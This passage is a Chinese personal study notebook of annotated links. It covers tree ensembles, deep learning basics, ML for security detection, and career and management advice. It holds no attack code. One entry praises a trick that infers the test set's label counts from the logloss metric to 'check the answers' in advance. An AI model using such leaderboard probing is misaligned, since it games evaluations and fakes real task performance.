**算法比较**：GBDT基分类器为CART，XGB的分类器可以是多种基分类器，比如线性分类器，这时候就相当于L1、L2正则项的逻辑回归或线性回归；传统的GBDT在优化时用到的是一阶导数，XGB则对损失函数进行了二阶泰勒公式的展开，精度变高；XGB并行处理（特征粒度的并行，对特征值进行预排序存储为block结构，在进行节点分类的时候，需要计算每个特征的增益，最终选择增益最大的那个特征去做分类，那么各个特征的增益计算就可以开多线程进行），相对于GBM速度飞跃；剪枝时，当新增分类带来负增益时，GBM会停止分裂，而XGB一直分类到指定的最大深度，然后进行后全局剪枝；从最优化的角度来看，GBDT采用的是数值优化的思维，用的最速下降法去求解Loss function的最优解，其中用CART决策树去拟合负梯度，用牛顿法求步长，而XGB用的是解析的思维，对Loss function展开到二阶近似，求得解析解，用解析解作为Gain来建立决策树，使得Loss function最优。
- [SVM和logistic回归分别在什么情况下使用？](https://www.zhihu.com/question/21704547)<br>
**算法使用场景-SVM和逻辑回归使用场景**：需要根据特征数量和训练样本数量来确定。如果特征数相对于训练样本数已经够大了，使用线性模型就能取得不错的效果，不需要过于复杂的模型，则使用LR或线性核函数的SVM。如果训练样本足够大而特征数较小的情况下，可以通过复杂核函数的SVM来获得更好的预测性能，如果样本没有达到百万级，使用复杂核函数的SVM也不会导致运算过慢。如果训练样本特别大，使用复杂核函数的SVM已经会导致运算过慢了，因此应该考虑引入更多特征，然后使用线性SVM或者LR来构造模型。
- [gbdt的残差为什么用负梯度代替？](https://www.zhihu.com/question/63560633)
- [欧氏距离与马氏距离](https://blog.csdn.net/u010167269/article/details/51627338)
- [机器学习算法常用指标总结](https://mp.weixin.qq.com/s/jEB0CD9j1amGVbt4tAObLQ)<br>
- [分类模型评估之ROC-AUC曲线和PRC曲线](https://blog.csdn.net/pipisorry/article/details/51788927)<br>
### 机器学习
- [平均数编码：针对高基数定性特征（类别特征）的数据预处理/特征工程](https://zhuanlan.zhihu.com/p/26308272)
- [Mean Encoding](https://necromuralist.github.io/kaggle-competitions/posts/mean-encoding/)
- [kaggle编码categorical feature总结](https://zhuanlan.zhihu.com/p/40231966)
- [Python target encoding for categorical features](https://www.kaggle.com/ogrellier/python-target-encoding-for-categorical-features)
- [Mean (likelihood) encodings: a comprehensive study](https://www.kaggle.com/vprokopev/mean-likelihood-encodings-a-comprehensive-study)
- [如何在 Kaggle 首战中进入前 10%](http://dnc1994.com/2016/04/rank-10-percent-in-first-kaggle-competition/)
- [kaggle竞赛总结](http://matafight.github.io/2017/08/05/kaggle%E7%AB%9E%E8%B5%9B%E6%80%BB%E7%BB%93/)
- [分享一波关于做Kaggle比赛，Jdata，天池的经验，看完我这篇就够了](https://segmentfault.com/a/1190000012084849)
- [为什么在实际的kaggle比赛中，GBDT和Random Forest效果非常好？](https://www.zhihu.com/question/51818176/answer/595480045?utm_source=wechat_session&utm_medium=social&utm_oi=663312716719067136)<br>
**有监督学习-树系列算法**：单模型，gradient boosting machine和deep learning是首选。gbm不需要复杂的特征工程，不需要太多时间去调参数，dl则需要比较多的时间去调网络结构。**从overfit角度理解**，两者都有overfit甚至perfect fit的能力，overfit能力越强，可塑性越强，然后我们要解决的问题就是如果把模型训练的“恰好”，比如gbm里有early_stopping功能。线性回归模型就缺乏overfit能力，如果实际数据符合线性模型的关系，那可以得到很好的结果，如果不符合的话，就需要做特征工程，可特征工程又是一个比较主观的过程。树的优势，非参数模型，gbm的overfit能力强。而random forest的perfact fit能力很差，这是因为rf的树是独立训练的，没有相互协作，虽然是非参数型模型，但是浪费了这个先天优势。
- [【总结】树类算法认知总结](https://www.jianshu.com/p/432764633f6f)<br>
**有监督学习-树类算法**：分类树和回归树的区别；避免决策树过拟合的方法；随机森林怎么应用到分类和回归问题上；kaggle上为啥GBDT比RF更优；RF、GBDT、XGBoost的认知（原理、优缺点、区别、特性）。
- [LightGBM](https://fuhailin.github.io/LightGBM/)
- [LightGBM算法总结](https://blog.csdn.net/weixin_39807102/article/details/81912566)
- [『我爱机器学习』集成学习（四）LightGBM](https://www.hrwhisper.me/machine-learning-lightgbm/)
- [如何玩转LightGBM](https://v.qq.com/x/page/k0362z6lqix.html)（官方slides讲解）<br>
**有监督学习-LightGBM-个人理解**：**LightGBM几大特性及原理：直方图分割及直方图差加速（直方图两大改进：直方图复杂度=O(#feature×#data)，GOSS降低样本数，EFB降低特征数）-》效率和内存提升。Leaf-wise with max depth limitation取代Level-wise-》准确率提升。支持原生类别特征。并行计算：数据并行（水平划分数据）、特征并行（垂直划分数据）、PV-Tree投票并行（本质上是数据并行）。**
- [快速弄懂机器学习里的集成算法：原理、框架与实战](https://mp.weixin.qq.com/s/Q6OotQYIsSm7HW2T4ClLjg)
- [时间序列数据的聚类有什么好方法？](https://www.zhihu.com/question/50656303/answer/584063648?utm_source=wechat_session&utm_medium=social&utm_oi=663312716719067136)<br>
**无监督学习-时间序列问题**：传统的机器学习数据分析领域：提取特征，使用聚类算法聚集；在自然语言处理领域：为了寻找相似的新闻或是把相似的文本信息聚集到一起，可以使用word2vec把自然语言处理成向量特征，然后使用KMeans等机器学习算法来作聚类；另一种做法是使用Jaccard相似度来计算两个文本内容之间的相似性，然后使用层次聚类的方法来作聚类。常见的聚类算法：基于距离的机器学习聚类算法（KMeans）、基于相似性的机器学习聚类算法（层次聚类）。对时间序列数据进行聚类的方法：时间序列的特征构造、时间序列的相似度方法。如果使用深度学习的话，要么就提供大量的标签数据；要么就只能使用一些无监督的编码器的方法。
- [凝聚式层次聚类算法的初步理解](https://zhuanlan.zhihu.com/p/27659767)<br>
**无监督学习-层次聚类**：算法步骤：计算邻近度矩阵--->（合并最接近的两个簇--->更新邻近度矩阵）（repeat），直到达到仅剩一个簇或达到终止条件。
- [推荐算法入门（1）相似度计算方法大全](https://zhuanlan.zhihu.com/p/33164335)<br>
**无监督学习-层次聚类-相似性计算**：曼哈顿距离、欧式距离、切比雪夫距离、余弦相似度、皮尔逊相关系数、Jaccard系数。
### 深度学习
#### CPU环境搭建
- [tensorflow issues#22512](https://github.com/tensorflow/tensorflow/issues/22512)<br>
**问题本质**：报错：ImportError: DLL load failed，原因：缺少依赖，解决方法：pip install --index-url https://pypi.douban.com/simple tensorflow==2.0.0，会自动安装依赖。
#### GPU环境搭建
- [Tensorflow和Keras 常见问题（持续更新~）](https://zhuanlan.zhihu.com/p/81721574)（坑点）
- [Tested build configurations](https://tensorflow.google.cn/install/source)（版本对应速查表）
- [windows tensorflow-gpu的安装](https://zhuanlan.zhihu.com/p/35717544)（靠谱）
- [windows下安装配置cudn和cudnn](https://www.jianshu.com/p/9bdeb033e765)<br>
**问题本质**：总的来说，是英伟达显卡驱动版本、cuda、cudnn和tensorflow-gpu之间版本的对应问题。最好装tensorflow-gpu==1.14.0,tensorflow-gpu==2.0需要cuda==10.0，10.2会报错，tensorflow-gpu==2.0不支持。
- [win10搭建tensorflow-gpu环境](https://www.cnblogs.com/wanyu416/p/9536853.html)<br>
**问题本质**：CUDA的各种环境变量添加。
#### 深度学习基础知识
- [深度学习中的batch的大小对学习效果有何影响？](https://www.zhihu.com/question/32673260)
- [Batch Normalization原理与实战](https://zhuanlan.zhihu.com/p/34879333)（**还没完全看懂**）
#### 神经网络基本部件
- [如何计算感受野(Receptive Field)——原理](https://zhuanlan.zhihu.com/p/31004121)<br>
感受野：卷积层越深，感受野越大，计算公式为(N-1)_RF = f(N_RF, stride, kernel) = (N_RF - 1) * stride + kernel，思路为倒推法。
- [如何理解空洞卷积（dilated convolution）谭旭的回答](https://www.zhihu.com/question/54149221/answer/192025860)<br>
空洞卷积：池化层减小图像尺寸同时增大感受野，空洞卷积的优点是不做pooling损失信息的情况下，增大感受野。3层3*3的传统卷积叠加起来，stride为1的话，只能达到(kernel_size-1)layer+1=7的感受野，和层数layer成线性关系，而空洞卷积的感受野是指数级的增长，计算公式为(2^layer-1)(kernel_size-1)+kernel_size=15。
- [空洞卷积（dilated convolution）感受野计算](https://zhuanlan.zhihu.com/p/61889386)
- [空洞卷积(dilated Convolution)](https://zhuanlan.zhihu.com/p/43784441)
- [直观理解神经网络最后一层全连接+Softmax](https://www.cnblogs.com/shine-lee/p/10077961.html)（便于理解）<br>
**全连接层**：可以理解为对特征的加权求和。
#### 神经网络基本结构
- [一组图文，读懂深度学习中的卷积网络到底怎么回事？](https://mp.weixin.qq.com/s?__biz=MzIyMzk1MDE3Nw==&mid=2247497838&idx=1&sn=0155aec301bfd63af03fb17727421e1e&chksm=e814dc60df635576971ccd515c440721af1e4d3c256d421953bc4944d2e724c476c5a689f197&mpshare=1&scene=1&srcid=0211JyZWQrYdounFDM2LW3AE&pass_ticket=hAXdmKc6AZ3DdksFdOmip3HL8cWLkL5u880JMyZ2etpYu1WnmEdvgA09xYgh9Im%2B#rd)<br>
**卷积神经网络**：卷积层参数：内核大小（卷积视野3乘3）、步幅（下采样2）、padding（填充）、输入和输出通道。卷积类型：引入扩张率参数的扩张卷积、转置卷积、可分离卷积。
- [卷积神经网络(CNN)模型结构](https://www.cnblogs.com/pinard/p/6483207.html)
- [总结卷积神经网络发展历程 - 没头脑的文章](https://zhuanlan.zhihu.com/p/76275427)（很全面）
- [三次简化一张图：一招理解LSTM/GRU门控机制](https://zhuanlan.zhihu.com/p/28297161)（很清晰）<br>
**循环神经网络**：**文中电路图的形式好理解**。RNN：输入状态、隐藏状态。LSTM：输入状态、隐藏状态、细胞状态、3个门。GRU：输入状态、隐藏状态、2个门。LSTM和GRU通过设计门控机制缓解RNN梯度传播问题。
- [gcn](https://github.com/tkipf/gcn)
- [GRAPH CONVOLUTIONAL NETWORKS](http://tkipf.github.io/graph-convolutional-networks/)<br>
**图神经网络**：相较于CNN，区别是图卷积算子计算公式。
- [keras-attention-mechanism](https://github.com/philipperemy/keras-attention-mechanism)
#### 神经网络应用
- [[AI识人]OpenPose：实时多人2D姿态估计 | 附视频测试及源码链接](https://zhuanlan.zhihu.com/p/37526892)
- [使用生成对抗网络(GAN)生成DGA](http://webber.tech/posts/%E4%BD%BF%E7%94%A8%E7%94%9F%E6%88%90%E5%AF%B9%E6%8A%97%E7%BD%91%E7%BB%9C%28GAN%29%E7%94%9F%E6%88%90DGA/)
- [GAN_for_DGA](https://github.com/bts-webber/GAN_for_DGA/blob/master/G.py)
- [详解如何使用Keras实现Wassertein GAN](https://mp.weixin.qq.com/s/F2gBP23LCEF72QDlugbBZQ)
- [Wasserstein GAN in Keras](https://myurasov.github.io/2017/09/24/wasserstein-gan-keras.html?r)
- [WassersteinGAN](https://github.com/tdeboissiere/DeepLearningImplementations/tree/master/WassersteinGAN)
- [keras-acgan](https://github.com/lukedeo/keras-acgan)
- [用深度学习（CNN RNN Attention）解决大规模文本分类问题 - 综述和实践](https://zhuanlan.zhihu.com/p/25928551)<br>
**NLP**：传统的高维稀疏->现在的低维稠密。**注意事项**：类目不均衡、理解数据（badcase）、fine-tuning（只用word2vec训练的词向量作为特征表示，可能会损失很大效果，**预训练+微调**）、一定要用dropout、避免训练震荡、超参调节、未必一定要softmax loss、模型不是最重要的、关注迭代质量（为什么？结论？下一步？）
### 强化学习
- [深度强化学习的弱点和局限](https://mp.weixin.qq.com/s?__biz=MzI3ODkxODU3Mg==&mid=2247485609&idx=1&sn=6b71f5f8ebd4e920384f07b97ce92a9c&chksm=eb4eec6adc39657c81169f1ae9ce477e4da692941238c35deb26a11ed7ec70073784cfd935a8&scene=21#wechat_redirect)
- [关于强化学习的局限的一些思考](https://zhuanlan.zhihu.com/p/34916891)<br>
**强化学习的局限性：采样效率很差、很难设计一个合适的奖励函数。**
### 应用领域
- [全球最全？的安全数据网站](http://www.secrepo.com/)（有时间得好好整理一下）
- [初探机器学习检测 PHP Webshell](https://paper.seebug.org/526/)
- [基于机器学习的 Webshell 发现技术探索](https://mp.weixin.qq.com/s/1V0xcjH-6V5qJoJILP0pJQ)
- [网络安全即将迎来机器对抗时代？](https://zhuanlan.zhihu.com/p/26093848)<br>
**智能安全-智能攻击**：国外已经在研究利用机器学习打造更智能的攻击工具，比如深度强化学习，就是深度学习和强化学习的结合，可以感知环境，做出最优决策，可能被应用到漏洞扫描器里，使扫描器能够自动化地入侵目标。<br>
**个人理解**：国外已有案例Deep Exploit就是利用深度强化学习结合metasploit进行自动化地渗透测试，国内还没有看到过相关公开案例。由于学习门槛高、安全本身攻击场景需要精细化操作、弱智能化机器学习导致的机器学习和安全场景结合深度不够等一系列的问题，已有的机器学习+安全的大多数研究主要集中在安全防护方面，机器学习+攻击方面的研究较少且局限，但是我相信这个场景很有潜力，或许以后就成为蓝方的攻击利器。
- [人工智能反欺诈三部曲之：设备指纹](https://zhuanlan.zhihu.com/p/31712434)<br>
**智能安全-业务安全-设备指纹**：ip、cookie、**设备ID**；**主动式设备指纹**：使用JS或SDK从客户端抓取各种各样的设备属性值，然后组合，通过hash算法得到设备ID；**优点**：Web内或者App内准确率高。**缺点**：主动式设备指纹在Web与App之间、不同的浏览器之间，会生成不同的设备ID，无法实现跨Web和App，不同浏览器之间的设备关联；由于依赖客户端代码，指纹在反欺诈的场景中对抗性较弱。**被动式设备指纹**：从数据报文中提取设备OS、协议栈和网络状态的特征集，并结合机器学习算法识别终端设备。**优点**：弥补了主动式设备指纹的缺点。**缺点**：占用处理资源多；响应时延比主动式长。
- [风险大脑支付风险识别初赛经验分享【谋杀电冰箱-凤凰还未涅槃】](https://openclub.alipay.com/club/history/read/8869)<br>
**智能安全-业务安全-风控**：个人理解见：https://github.com/404notf0und/Risk-Operation-Detection/blob/master/atec.ipynb。
- [机器学习在互联网巨头公司实践](https://mp.weixin.qq.com/s/NFqUF824Rpr4g6wYWFpSNQ)<br>
**入侵检测**：机器学习和统计建模的主要区别：机器学习主要依赖数据和算法，统计建模依赖建模者对数据特征的了解。两者的优缺点：机器学习：打标数据难获取，如果采用非监督学习，则性能不足以运维；机器学习结果不可解释。所以现在机器学习在做入侵检测的时候，一般都要限定一个特定的场景。统计建模：数据预处理阶段移除正常数据的干扰（重点关注查全率，强调过正常数据的过滤能力，尽可能筛除正常数据），构建能够识别恶意可疑行为的攻击模型（重点关注precision，强调模型对异常攻击模式判断的准确性，攻击链模型），缺点是泛化能力不足、在入侵检测一些场景中，模型易被干扰。我们的最终目的：大数据场景下安全分析可运维。
- [Web安全检测中机器学习的经验之谈](https://iami.xyz/ML-IN-Webshell-Detection-Advantages-And-Disadvantages/)<br>
**Web安全：从文本分类的角度解决Web安全检测的问题**。数据样本的多样性，短文本分类，词向量，句向量，文本向量。文本分类+多维度特征。**与传统方法做对比得出更好的检测方式：传统方法+机器学习：传统waf/正则规则给数据打标；传统方法先进行过滤**。
- [词嵌入来龙去脉](https://blog.csdn.net/scotfield_msn/article/details/69075227)（学到了）<br>
**NLP**：DeepNLP的核心关键：语言表示--->NLP词的表示方法类型：词的独热表示和词的分布式表示（这类方法都基于分布假说：词的语义由上下文决定，方法核心是上下文的表示以及上下文与目标词之间的关系的建模）--->NLP语言模型：统计语言模型--->词的分布式表示：基于矩阵的分布表示、基于聚类的分布表示、基于神经网络的分布表示，词嵌入--->词嵌入（word embedding是神经网络训练语言模型的副产品）--->神经网络语言模型与word2vec。
- [深入浅出讲解语言模型](https://zhuanlan.zhihu.com/p/28080127)<br>
**NLP**：NLP统计语言模型：定义（计算一个句子的概率的模型，也就是判断一句话是否是人话的概率）、马尔科夫假设（随便一个词出现的概率只与它前面出现的有限的一个或几个词有关）、N元模型（一元语言模型unigram、二元语言模型bigram）。
- [有谁可以解释下word embedding? - YJango的回答 - 知乎](https://www.zhihu.com/question/32275069/answer/197000927)<br>
**NLP**：单词表达：one hot representation、distributed representation。Word embedding：以神经网络分析one hot representation和distributed representation作为例子，证明用distributed representation表达一个单词是比较好的。word embedding就是神经网络分析distributed representation所显示的效果，降低训练所需的数据量，就是要从数据中自动学习出输入空间到distributed representation空间的映射f（相当于加入了先验知识，相同的东西不需要分别用不同的数据进行学习）。训练方法：如何自动寻找到映射f，将one hot representation转变成distributed representation呢？思想：单词意思需要放在特定的上下文中去理解，例子：`这个可爱的 泰迪 舔了我的脸`和`这个可爱的 京巴 舔了我的脸`，用输入单词 x 作为中心单词去预测其他单词 z 出现在其周边的可能性（**至此我才明白为什么说词嵌入是神经网络训练语言模型的副产品这句话**）。用输入单词作为中心单词去预测周边单词的方式叫skip-gram，用输入单词作为周边单词去预测中心单词的方式叫CBOW。
- [Chars2vec: character-based language model for handling real world texts with spelling errors and…](https://hackernoon.com/chars2vec-character-based-language-model-for-handling-real-world-texts-with-spelling-errors-and-a3e4053a147d)
- [Character Level Embeddings](https://datascience.stackexchange.com/questions/37368/character-level-embeddings)
- [使用TextCNN模型探究恶意软件检测问题](https://xz.aliyun.com/t/6785)<br>
**恶意软件检测**：改进分为两个方面：调参和结构。调参：Embedding层的inputLen、output_dim，EarlyStopping，样本比例参数class_weight,卷积层和全连接层的正则化参数l2，适配硬件(GPU、TPU)的batch_size。结构：增加了全局池化层。<br>
**学到了**：一个trick，通过训练集和评价指标logloss计算测试集的各标签数量，以此调整训练阶段的参数class_weight，还可以事先达到“对答案”的效果。和一个T大大佬在datacon域名安全检测比赛中使用的trick如出一辙。
- [基于海量url数据识别视频类网页](https://mp.weixin.qq.com/s/hwdSd1YqzWyun2MCImcCcw)<br>
**CV-行文思路**：问题：视频类网页识别。解决方式：url粗筛->视频网页规则粗筛->视频网页截屏及CNN识别。
### 行业发展
- [认知智能再突破，阿里 18 篇论文入选 AI 顶会 KDD](https://mp.weixin.qq.com/s/3uB69n3zCVw8VefTDi4QCA)<br>
**认知智能**：**计算智能->感知智能->认知智能**。快速计算、记忆、存储->识别处理语言、图像、视频->实现思考、理解、推理和解释。认知智能的三大关键技术：**知识图谱**是底料、**图神经网络**是推理工具、**用户交互**是目的。
- [未来 3~5 年内，哪个方向的机器学习人才最紧缺？ - 王喆的回答](https://www.zhihu.com/question/63883507/answer/1251083379)<br>
**要点简记**：站在机器学习“工程体系”之上，综合考虑“模型结构”，“工程限制”，“问题目标”的算法“工程师”。我的理解：**红利的迁移**，模型结构单点创新带来的收益->体系结构协同带来的收益。
[阿里技术副总裁贾扬清：我对人工智能的一点浅见](https://mp.weixin.qq.com/s/DuwEb1jBhly9RPZqGj4wrQ)<br>
**AI发展**：神经网络和深度学习的成功与局限，成功原因是大数据和高性能计算，局限原因是结构化的理解和小数据上的有效学习算法。**AI这个方向会怎么走**？传统的深度学习应用，比如图像、语音等，应该如何输出产品和价值？而不仅仅是停留在安防这个层面，要深入到更广阔的领域。除了语音和图像之外，如何解决更多问题？而不仅仅是停留在解决语音图像等几个领域内的问题。
### 综合素质
- [算法工程师必须要知道的面试技能雷达图](https://zhuanlan.zhihu.com/p/54089811)（学到了）<br>
**个人发展-必备技术素质**：算法工程师必备技术素质拆分：知识、工具、逻辑、业务。在满足最小要求的基础上，算法工程师在这四个方面的能力是相对全面的，既包括”算法“，也包括”工程“，而大数据工程师则着重”工具“，研究员则着重”知识“和”逻辑“。<br>
针对安全业务的算法工程师就是安全算法工程师。为了便于理解，举个例子，如果用XGBoost解决某个安全问题，那么可以由浅入深理解，把知识、工具、逻辑、业务四个方面串起来：<br>
1.GBDT的原理（知识）<br>
2.决策树节点分裂时是如何选择特征的？（知识）<br>
3.写出Gini Index和Information Gain的公式并举例说明（知识）<br>
4.分类树和回归树的区别是什么（知识）<br>
5.与Random Forest对比，理解什么是模型的偏差和方差（知识）<br>
6.XGBoost的参数调优有哪些经验（工具）<br>
7.XGBoost的正则化和并行化分别是如何实现的（工具）<br>
8.为什么解决这个安全问题会出现严重的过拟合问题（业务）<br>
9.如果选用一种其他模型替代XGBoost或改进XGBoost你会怎么做？为什么？（业务、逻辑、知识）。<br>
以上，就是以“知识”为切入点，不仅深度理解了“知识”，也深度理解了“工具”、“逻辑”、“业务”。<br>
- [[校招经验] BAT机器学习算法实习面试记录](http://rs.xidian.edu.cn/forum.php?mod=viewthread&tid=929712&extra=page%3D1)(学到了)<br>
**个人发展-面试经验**：根据面试常遇到的问题再深入理解机器学习，储备自己的算法知识库。
- [机器学习如何才能避免「只是调参数」？](https://www.zhihu.com/question/264528062/answer/570134579)(学到了)<br>
**个人发展-职业发展**：**机器学习工程师分为三种：应用型（能力：保持算法全栈，即数据、建模、业务、运维、后端，重点在建模能力，流程是遇到一个指定的业务场景应该迅速知道用什么数据做特征，用什么模型，这个模型在工程上的时效性和鲁棒性，最终会不会产生业务风险等一整套链路。预期目标：锻炼得到很强的业务敏感性，快速验证提出的需求）、造轮子型（多读顶会跟上时代节奏，且拥有超强的功能能力，打造ML框架，提供给应用型机器学习工程师使用）、研究型（AI Lab，读论文+试验性复现）。个人发展：锻炼业务能力和工程能力，未来几年成长规划还是算法全栈路线，技术上独挡一面，业务上带来kpi，以后快速晋升+带队。同时保持阅读习惯，多学习新知识。**
- [做机器学习算法工程师是什么样的工作体验？](https://www.zhihu.com/question/31284094/answer/618616259)<br>
**个人发展-工作体验**：业务理解、数据清洗和特征工程、持续学习（增强解决方案的判断力）、编程能力、常用工具（XGB、TensorFlow、ScikitLearn、Pandas（表格类数据或时间序列数据）、Spark、SQL、FbProphet（时间序列））
- [大三实习面经](https://www.zuozuovera.com/archives/1121/comment-page-1)（学到了）
- [如果你是面试官，你怎么去判断一个面试者的深度学习水平？](https://www.zhihu.com/question/41233373)<br>
**个人发展-心得体会**：深度学习擅长处理具有局部相关性的问题和数据，在图像、语音、自然语言处理方面效果显著，因为图像是由像素构成，语音是由音位构成，语言是由单词构成，都有局部相关性，可以构造高级特征。
- [面试官如何判断面试者的机器学习水平？ - 微调的回答 - 知乎](https://www.zhihu.com/question/62482926/answer/210531386)<br>
**个人发展-心得体会**：考虑方法优点和局限性，培养独立思考的能力；正确判断机器学习对业务的影响力；学会分情况讨论（比如深度学习相对于机器学习而言）；学习机器学习不能停留在“知道”的层次，要从原理级学习，甚至可以从源码级学习，知其然知其所以然，要做安全圈机器学习最6的。
- [两年美团算法大佬的个人总结与学习建议](https://mp.weixin.qq.com/s/OKxjACQgf5ahIGDDA1_Xow)<br>
**个人发展-心得体会**：算法的基本认识（知识）、过硬的代码能力（工具）、数据处理和分析能力（业务和逻辑）、模型的积累和迁移能力（业务和逻辑）、产品能力、软实力。
# 职业
## 职业规划
- [至关重要：如何做好我们的职业规划](https://zhuanlan.zhihu.com/p/83620510)**（学到了）**<br>
1. 认清自己，确认方向。按照**职业规划探寻模型**来思考
2. 收集信息，心中有数。校招/社招/JD
3. **目标设远，步步拆解**。拆解框架：时间/目标/准备(技术能力、汇报能力|领导能力、沟通能力、团队建设能力)
4. **盘点能力，补足短板**。盘点软实力：沟通能力、执行能力、谈判能力、情绪管理、时间管理、分解能力、汇报能力、演讲能力、协作能力、组织能力、快速学习能力、PPT撰写能力、文字总结能力、聆听技巧、同事关系、与上司之间关系，盘点短板：沟通能力、汇报能力、演讲能力、PPT撰写、文字总结能力，对短板再按多个维度分类，比如是否易于评估并得到反馈和培养难度
5. 学会展望，调整方向。唯一不可阻挡的是时间
- [数据科学家 (Data Scientist) 的核心技能是什么？](https://www.zhihu.com/question/27604790)
## 思维
- [如何解决思维混乱、讲话没条理的情况？](https://www.zhihu.com/question/30173526?utm_source=wechat_session&utm_medium=social&utm_oi=832366521421537280)（学到了）<br>
结构化思维->讲话有条理。
- [哪些思维方式是你刻意训练过的？](https://www.zhihu.com/question/23913984/answer/807859986)**（学到了）**<br>
**结构化思维**<br>
**金字塔思维：结论先行，以上统下，归类分组，逻辑递进。**<br>
**金字塔结构：纵向延伸，横向分类。**<br>
**如何得出金字塔结论：归纳法，演绎推理法。**实际生活中，不是每时每刻都有相关的模型套用和演绎法的，这时候就用归纳法，**自下而上进行梳理，得出结论**，比如**头脑风暴**把闪过的**碎片想法**全部写下来，再**抽象与分类**，最后得出结论。
- [厉害的人是怎么分析问题的？](https://www.zhihu.com/question/304174916/answer/542373452)（学到了）<br>
**定义问题/描述问题：问题的本质是现实和期望的落差部分**；明确期望值B'，精准定位现状B，，用B--->B'这个落差，精准描述问题。<br>
**分析问题/解决问题**：不能从现状B出发，找寻一条B--->B'的路径，要透过现象看本质。方法A，现实B，期望B'，变量C。**校准期望B'，重构方法A，消除变量C。**
## 沟通
## 管理
- [“我是技术总监，你干嘛总问我技术细节？”](https://mp.weixin.qq.com/s/_tV71Ly2uU-op__sf1DlPQ)<br>
（快速发展期、平稳期、衰退期等业务发展时期作为时间轴）（中高层管理者）（需要掌握）（应用场景、技术基础、技术栈中的技术细节）。技术基础要扎实，技术栈了解程度深（对技术原理和细节清楚），应用场景不能浮于表面。总的来说就是一句话：**技术细节与技术深度**。
- [阿里巴巴高级算法专家威视：组建技术团队的一些思考](https://zhuanlan.zhihu.com/p/99701435)（**学到了**）<br>
**行文思路：团队的定位**（定位（能力、业务、服务）、壁垒（以不变应万变沉淀风险管控知识作为壁垒）和价值（提供不同层次的服务形式））-》**团队的能力**（连接、生产、传播、服务）-》**组织与个人的关系**-》**招人**-》**用人**-》**对内管理模式**（找对前进的方向、绩效的考核（3个维度：业务结果、能力进步、技术影响力））<br>
**学到了：建设技术体系解决某一类问题，而不是某个技术点去解决某一个问题。**
- [26岁当上数据总监，分享第一次做Leader的心得](https://mp.weixin.qq.com/s/QePhtlNK9RE3ir-7HS7aOg)<br>
**团队管理方面的基本功和方法论：定策略、建团队、立规矩、拿结果。**<br>
定策略：要明确公司高层的真实目的；对自己的团队了如指掌；管理者专精的行业知识和经验。<br>
建团队：避免嫉贤妒能、职场近亲、玻璃心。<br>
立规矩：立规矩守规矩。<br>
拿结果：注意吃相。<br>
**管理中常见的误区**：**做管理后放弃原来专业**（要关注行业发展方向和前沿技术）；**过度管理**（要自循环的稳定成熟团队）；**过度追求团队稳定**（衡量团队稳定的核心标准不是人员的稳定，而是团队的效率和产出是否能够有持续稳定的增长）
- [什么特质的员工容易成为管理者](https://mp.weixin.qq.com/s/eLqQF-B7y_roz6a4aYZoCQ)<br>
**公司内部晋升管理者：天时：企业/行业所处的阶段；地利：部门/业务所处的阶段；人和：人际关系+自身能力。**<br>
**跳槽成为管理者：大公司跳槽到小公司，寻找职业突破，弊端是跳出去容易跳回来难；成为行业内有影响力的人物，被大公司挖角。大部分人都是第一种情况，在大公司的同学要多一点耐心，通过努力在公司内晋升，因为曲线救国式的跳槽已经没有市场了。**
- [技术部门Leader是不是一定要技术大牛担任？](https://www.zhihu.com/question/377457299)<br>
**核心点**：Manager vs Tech Leader、方法论、软技能、赋能成员、综合。
## 思考
- [好的研究想法从哪里来](https://mp.weixin.qq.com/s/OSVpS3Q15kI0NshpzCjavA)<br>
**研究的本质是对未知领域的探索，是对开放问题的答案的追寻。“好”的定义-》区分好与不好的能力-》全面了解所在研究方向的历史和现状-》实践法/类比法/组合法**。 **这就好比是机器学习的训练和测试阶段**，**训练**：全面了解所在研究方向的历史和现状，判断不同时期的研究工作的好与不好。**测试**：实践法/类比法/组合法出的idea，判断自己的研究工作好与不好。
- [科研论文如何想到不错的 idea？](https://www.zhihu.com/question/300967426)<br>
**模块化学习、交叉、布局可预期的趋势**。
- [人在年轻的时候，最核心的能力是什么？](https://www.zhihu.com/question/303482683)<br>
**核心点**：达到以前从未达到的高度：基本的事情做到极致、专注、坚持长久做一件事、延迟满足、认清自己+了解环境->准确定位、
## 注意事项
* **领域点-线-面体系**：点：自己focus的领域；线：上游和下游；面：大领域。不要过度focus在自己工作的领域，要有全局化的眼光，特别是自己的上游和下游。
* **日常学习点-线-面体系**：点：自己focus的安全数据分析领域；线：安全/数据分析；面：全局安全内容/行业发展/职业规划。每日专研至少一小时小领域；每日精读至少半小时/至少一篇安全/数据分析/行业发展/职业规划精品文章；每日大量浏览增量文章/存量文章。**保持学习与思考的敏感性。**
# 附录
## 国外优质技术站点
- [https://resources.distilnetworks.com](https://resources.distilnetworks.com)<br>
**站点概况**：专注于机器流量对抗与缓解。
- [http://www.covert.io](http://www.covert.io)<br>
**技术栈**：Jason Trost，专注于安全研究、大数据、云计算、机器学习，即安全数据科学。
- [http://cyberdatascientist.com](http://cyberdatascientist.com)<br>
**站点概括**：专注于安全数据科学，提供网络安全、统计学和AI等学习资料，并提供14个安全数据集，包括：垃圾邮件、恶意网站、恶意软件、Botnet等。**没有secrepo.com提供的资料全面**。
- [https://towardsdatascience.com](https://towardsdatascience.com)<br>
**站点概括**：专注于数据科学。
## 国内优秀技术人
- [michael282694](http://michael282694.com)<br>
**技术栈**：数据分析挖掘产品开发、爬虫、Java、Python。
- [LittleHann](https://www.cnblogs.com/LittleHann)<br>
**技术栈**：我也不知道该怎么描述，Han师傅会的太多了，C++、Java、Python、PHP、Web安全、系统安全，不过目前好像做算法多一些。
- [FeeiCN](https://feei.cn)<br>
**技术栈**：专注自动化漏洞发现和入侵检测防御。
- [xiaojunjie](http://www.yqxiaojunjie.com)<br>
**技术栈**：专注于代码审计、CTF。
- [云雷](https://yq.aliyun.com/users/xorxhltb3una2?spm=a2c4e.11153940.blogrightarea90906.2.bc412a21Jh3MYf)<br>
**技术栈**：阿里云存储技术专家，专注于日志分析与业务，日志计算驱动业务增长。
- [iami](https://iami.xyz/)<br>
**技术栈**：主要研究Web安全、机器学习，喜欢Python和Go。一直偷学师傅的博客。
- [cdxy](https://www.cdxy.me)<br>
**技术栈**：早先主要做Web安全，CTF，代码审计，现在主要做安全研究与数据分析，初步估算技术领先我1～2年，师傅别学了。
- [csuldw](http://www.csuldw.com)<br>
**技术栈**：专注于机器学习、数据挖掘、人工智能。
- [molunerfinn](https://molunerfinn.com/)<br>
**技术栈**：专注于前端，北邮大佬，和404notfound同级。
- [刘建平Pinard](https://www.cnblogs.com/pinard)<br>
**技术栈**：机器学习、深度学习、强化学习、自然语言处理、数学统计学、大数据挖掘，相关tutorial非常棒。
